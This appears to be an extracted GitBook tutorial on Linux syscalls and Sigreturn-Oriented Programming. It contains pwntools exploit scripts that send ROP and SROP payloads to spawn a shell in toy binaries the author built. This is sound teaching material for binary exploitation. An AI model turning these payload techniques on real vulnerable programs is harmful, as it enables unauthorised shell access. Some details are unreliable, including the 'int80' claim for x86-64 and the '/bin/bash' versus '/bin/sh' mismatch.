arrow-left

All pages
gitbookPowered by GitBook
1 of 4

Loading...

Loading...

Loading...

Loading...

Syscalls

Interfacing directly with the kernel

hashtag
Overview

A syscall is a system call, and is how the program enters the kernel in order to carry out specific tasks such as creating processes, I/O and any others they would require kernel-level access.

Browsing the list of syscallsarrow-up-right, you may notice that certain syscalls are similar to libc functions such as open(), fork() or read(); this is because these functions are simply wrappers around the syscalls, making it much easier for the programmer.

hashtag
Triggering Syscalls

On Linux, a syscall is triggered by the int80 instruction. Once it's called, the kernel checks the value stored in RAX - this is the syscall number, which defines what syscall gets run. As per the table, the other parameters can be stored in RDI, RSI, RDX, etc and every parameter has a different meaning for the different syscalls.

hashtag
Execve

A notable syscall is the execve syscall, which executes the program passed to it in RDI. RSI and RDX hold arvp and envp respectively.

This means, if there is no system() function, we can use execve to call /bin/sh instead - all we have to do is pass in a pointer to /bin/sh to RDI, and populate RSI and RDX with 0 (this is because both argv and envp need to be NULL to pop a shell).

Sigreturn-Oriented Programming (SROP)

Controlling all registers at once

hashtag
Overview

A sigreturn is a special type of syscall. The purpose of sigreturn is to return from the signal handler and to clean up the stack frame after a signal has been unblocked.

What this involves is storing all the register values on the stack. Once the signal is unblocked, all the values are popped back in (RSP points to the bottom of the sigreturn frame, this collection of register values).

hashtag
Exploitation

By leveraging a sigreturn, we can control all register values at once - amazing! Yet this is also a drawback - we can't pick-and-choose registers, so if we don't have a stack leak it'll be hard to set registers like RSP to a workable value. Nevertheless, this is a super powerful technique - especially with limited gadgets.

Using SROP

hashtag
Source

As with the syscalls, I made the binary using the pwntools ELF features:

It's quite simple - a read syscall, followed by a pop rax; ret gadget. You can't control RDI/RSI/RDX, which you need to pop a shell, so you'll have to use SROP.

Once again, I added /bin/sh to the binary:

hashtag
Exploitation

First let's plonk down the available gadgets and their location, as well as the location of /bin/sh.

From here, I suggest you try the payload yourself. The padding (as you can see in the assembly) is 8 bytes until RIP, then you'll need to trigger a sigreturn, followed by the values of the registers.

The triggering of a sigreturn is easy - sigreturn is syscall 0xf (15), so we just pop that into RAX and call syscall:

Now the syscall looks at the location of RSP for the register values; we'll have to fake them. They have to be in a specific order, but luckily for us pwntools has a cool feature called a SigreturnFrame() that handles the order for us.

Now we just need to decide what the register values should be. We want to trigger an execve() syscall, so we'll set the registers to the values we need for that:

However, in order to trigger this we also have to control RIP and point it back at the syscall gadget, so the execve actually executes:

We then append it to the payload and send.

hashtag
Final Exploit

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 500;
        syscall;
        ret;
        
        pop rax;
        ret;
    ''', vma=0x41000
)
elf.save('vuln')
Nailed it!
echo -en "/bin/bash\x00" >> vuln
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET
payload += bytes(frame)

p.sendline(payload)
p.interactive()
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Exploitation with Syscalls

hashtag
The Source

file-archive
715B
syscalls.zip
archive
arrow-up-right-from-squareOpen
Syscalls

To make it super simple, I made it in assembly using pwntools:

The binary contains all the gadgets you need! First it executes a read syscall, writes to the stack, then the ret occurs and you can gain control.

But what about the /bin/sh? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did:

hashtag
Exploitation

As we mentioned before, we need the following layout in the registers:

To get the address of the gadgets, I'll just do objdump -d vuln. The address of /bin/sh can be gotten using strings:

The offset from the base to the string is 0x1250 (-t x tells strings to print the offset as hex). Armed with all this information, we can set up the constants:

Now we just need to populate the registers. I'll tell you the padding is 8 to save time:

And wehey - we get a shell!

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 300;
        syscall;
        ret;
        
        pop rax;
        ret;
        pop rdi;
        ret;
        pop rsi;
        ret;
        pop rdx;
        ret;
    '''
)
elf.save('vuln')
echo -en "/bin/sh\x00" >> vuln
RAX:    0x3b
RDI:    pointer to /bin/sh
RSI:    0x0
RDX:    0x0
$ strings -t x vuln | grep bin
   1250 /bin/sh
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

binsh = elf.address + 0x1250

POP_RAX = 0x10000018
POP_RDI = 0x1000001a
POP_RSI = 0x1000001c
POP_RDX = 0x1000001e
SYSCALL = 0x10000015
payload = flat(
    'A' * 8,
    POP_RAX,
    0x3b,
    POP_RDI,
    binsh,
    POP_RSI,
    0x0,
    POP_RDX,
    0X0,
    SYSCALL
)

p.sendline(payload)
p.interactive()